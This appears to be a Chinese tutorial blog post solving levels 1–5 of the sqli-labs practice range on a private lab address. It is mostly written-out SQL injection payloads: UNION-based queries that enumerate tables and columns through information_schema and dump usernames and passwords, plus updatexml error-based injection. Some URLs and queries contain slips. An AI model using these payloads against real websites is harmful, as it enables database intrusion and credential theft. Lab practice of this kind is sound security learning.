sql注入靶场闯关Basic(1-5关)详细版

第一关(字符型)

一、判断类型

1.尝试使用单引号进行注入,查看报错回显可知:插入后单引号与前单引号闭合导致后面报错,确定是字符型

 http://192.168.154.250/Less-1/?id=1’

2.通过 # 进行注释,结果发现依旧报错

http://192.168.154.250/Less-1/?id=1' #

   * 这时需要给 # 进行URL编码,这次页面回显没报错

http://192.168.154.250/Less-1/?id=1' %23

发现注入点,可以使用联合查询语句进行注入

二、进行注入

1.先判断数据库表里的列数

http://192.168.154.250/Less-1/?id=1' order by 3 %23       \不报错 

* http://192.168.154.250/Less-1/?id=1' order by 4 %23      \报错

# 从1开始尝试,直至出现报错;4出现报错,说明表有3列

2.通过union select查询语句爆出数据库名

   要想执行后面的语句,就必须使前面的报错,则需要将id值改为-1

* ?id=-1' union select 1, schema() %23

 # 发现报错,提示为select语句有不一样的列数

 # 因为表有三列,所以select后要有三个值

?id=-1' union select 1, schema( ), version( ) %23

# 在后面添加一个版本函数,发现此时不报错,并成功返回数据库名称:security

3.接着爆出数据库中所有的表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 %23

# information_schema.tables:表示原数据库中tables表

# group_concat ( ): 表示将一列数据输出为一行

* ?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=schema()),3 %23

# 注意:不使用group_concat函数会报错,显示结果超过一行

# schem( )函数:指代数据库名称

4.使用users表名继续爆出列名

?id=-1' union select 1,(select group_concat(column_name) from information_schema. columns where table_name='users' and table_schema = schema()),3 %23

# column_name:表示原数据库中users表的列名

#需指定什么库(security)中的什么表(users)

#爆出password,这必须得看看

5.知道库名、表名、列名,查所有

?id=-1' union select 1,(select group_concat ( username , password) from security.users),3 %23

# 此时从返回结果不能直观地分辨哪个是username,哪个是passwrod

# 这时就需要添加间隔符号 ~ (0x7e)

?id=-1' union select 1,(select group_concat(username,0x7e,password) from security.users),3 %23

#这下就能清楚地区分成对的username和password

以上第一关成功完成。

第二关(数字型)

一、判断类型

使用单引号进行注入,查看报错回显可知:插入单引号提示检查版本,确定是数字型

http://192.168.154.250/Less-1/?id=1’

后续方法与第一关相同

二、进行注入

1.判断数据库表里的列数

http://192.168.154.250/Less-2/?id=1 order by 3 %23       \不报错

http://192.168.154.250/Less-2/?id=1 order by 4 %23       \报错

# 4出现报错,说明表有3列

2.?id=-1 union select 1,schema(),3 %23

3.?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = schema()) ,3 %23

4.?id=-1 union select 1,(select group_concat(column_name) from information_schema. columns where table_name = 'users' and table_schema = schema()) ,3 %23

5.?id=-1 union select 1,(select group_concat(username,0x7e, password) from users),3  %23

以上第二关成功完成。

第三关(使用 ') 闭合)

一、判断类型

1.使用单引号进行注入,查看报错回显可知:插入单引号提示使用 ‘)进行闭合,确定是字符型

http://192.168.154.250/Less-3/?id=1'

2.基于前面的语句,在其正确的情况下创造注入点,使用 # 注入成功

http://192.168.154.250/Less-3/?id=1') %23

后续方法与前两关相同

二、进行注入

1.判断数据库表里的列数

http://192.168.154.250/Less-2/?id=1‘) order by 3 %23       \不报错

http://192.168.154.250/Less-2/?id=1') order by 4 %23       \报错

# 4出现报错,说明表有3列

2.?id=-1') union select 1,schema(),3 %23

3.?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= schema()),3 %23

4.?id=-1') union select 1,(select group_concat(column_name) from information_schema. columns where table_name='users' and table_schema= schema()),3 %23

5.?id=-1') union select 1,(select group_concat(username,0x7e,password) from users),3 %23

以上第三关成功完成。

第四关(使用 '') 闭合)

一、判断类型

用单引号注入发现没有效果,说明采用不同的防注入手段。

http://192.168.154.250/Less-3/?id=1\

# 经过不断尝试发现这关是通过反斜杠来闭合的

2.基于前面的语句,在其正确的情况下创造注入点,使用 # 注入成功

二、进行注入

1.判断数据库表里的列数

http://192.168.154.250/Less-4/?id=1'') order by 3%23      \不报错

http://192.168.154.250/Less-2/?id=1'') order by 4 %23       \报错

# 4出现报错,说明表有3列

2.?id=-1") union select 1,schema(),3 %23

3.?id=-1") union select 1, (select group_concat(table_name) from information_schema. tables where table_schema=schema()), 3 %23

4.?id=-1") union select 1, (select group_concat(column_name) from information_schema.columns= users where table_schema = schema()), 3 %23

5.?id=-1") union select 1, (select group_concat(username, 0x7e,password)from users), 3 %23

以上第四关成功完成。

第五关('闭合的报错注入)

一、判断类型

1.先使用单引号进行注入,发现有报错回显,说明有注入点

2.使用union select联合注入发现没反应

这时就可进行报错注入

二、进行注入

1.爆出数据库名:

?id=1' and (updatexml(1,concat(0x7e,(schema()),0x7e),1)) %23

# updatexml( )函数:(XML文档,XPath格式字符串,new_value格式字符串:替换查找到的符合条件的数据)

2.爆出所有表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) %23

得到数据库中的表有:emails,referers,uagents,users

3.爆出表中所有列

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'  and table_name='users'),0x7e),1) %23

users表中的列名有:id,username,password

4.查所有信息

?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,password)from users),0x7e),1) %23

以上第五关成功完成。

  • 24
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值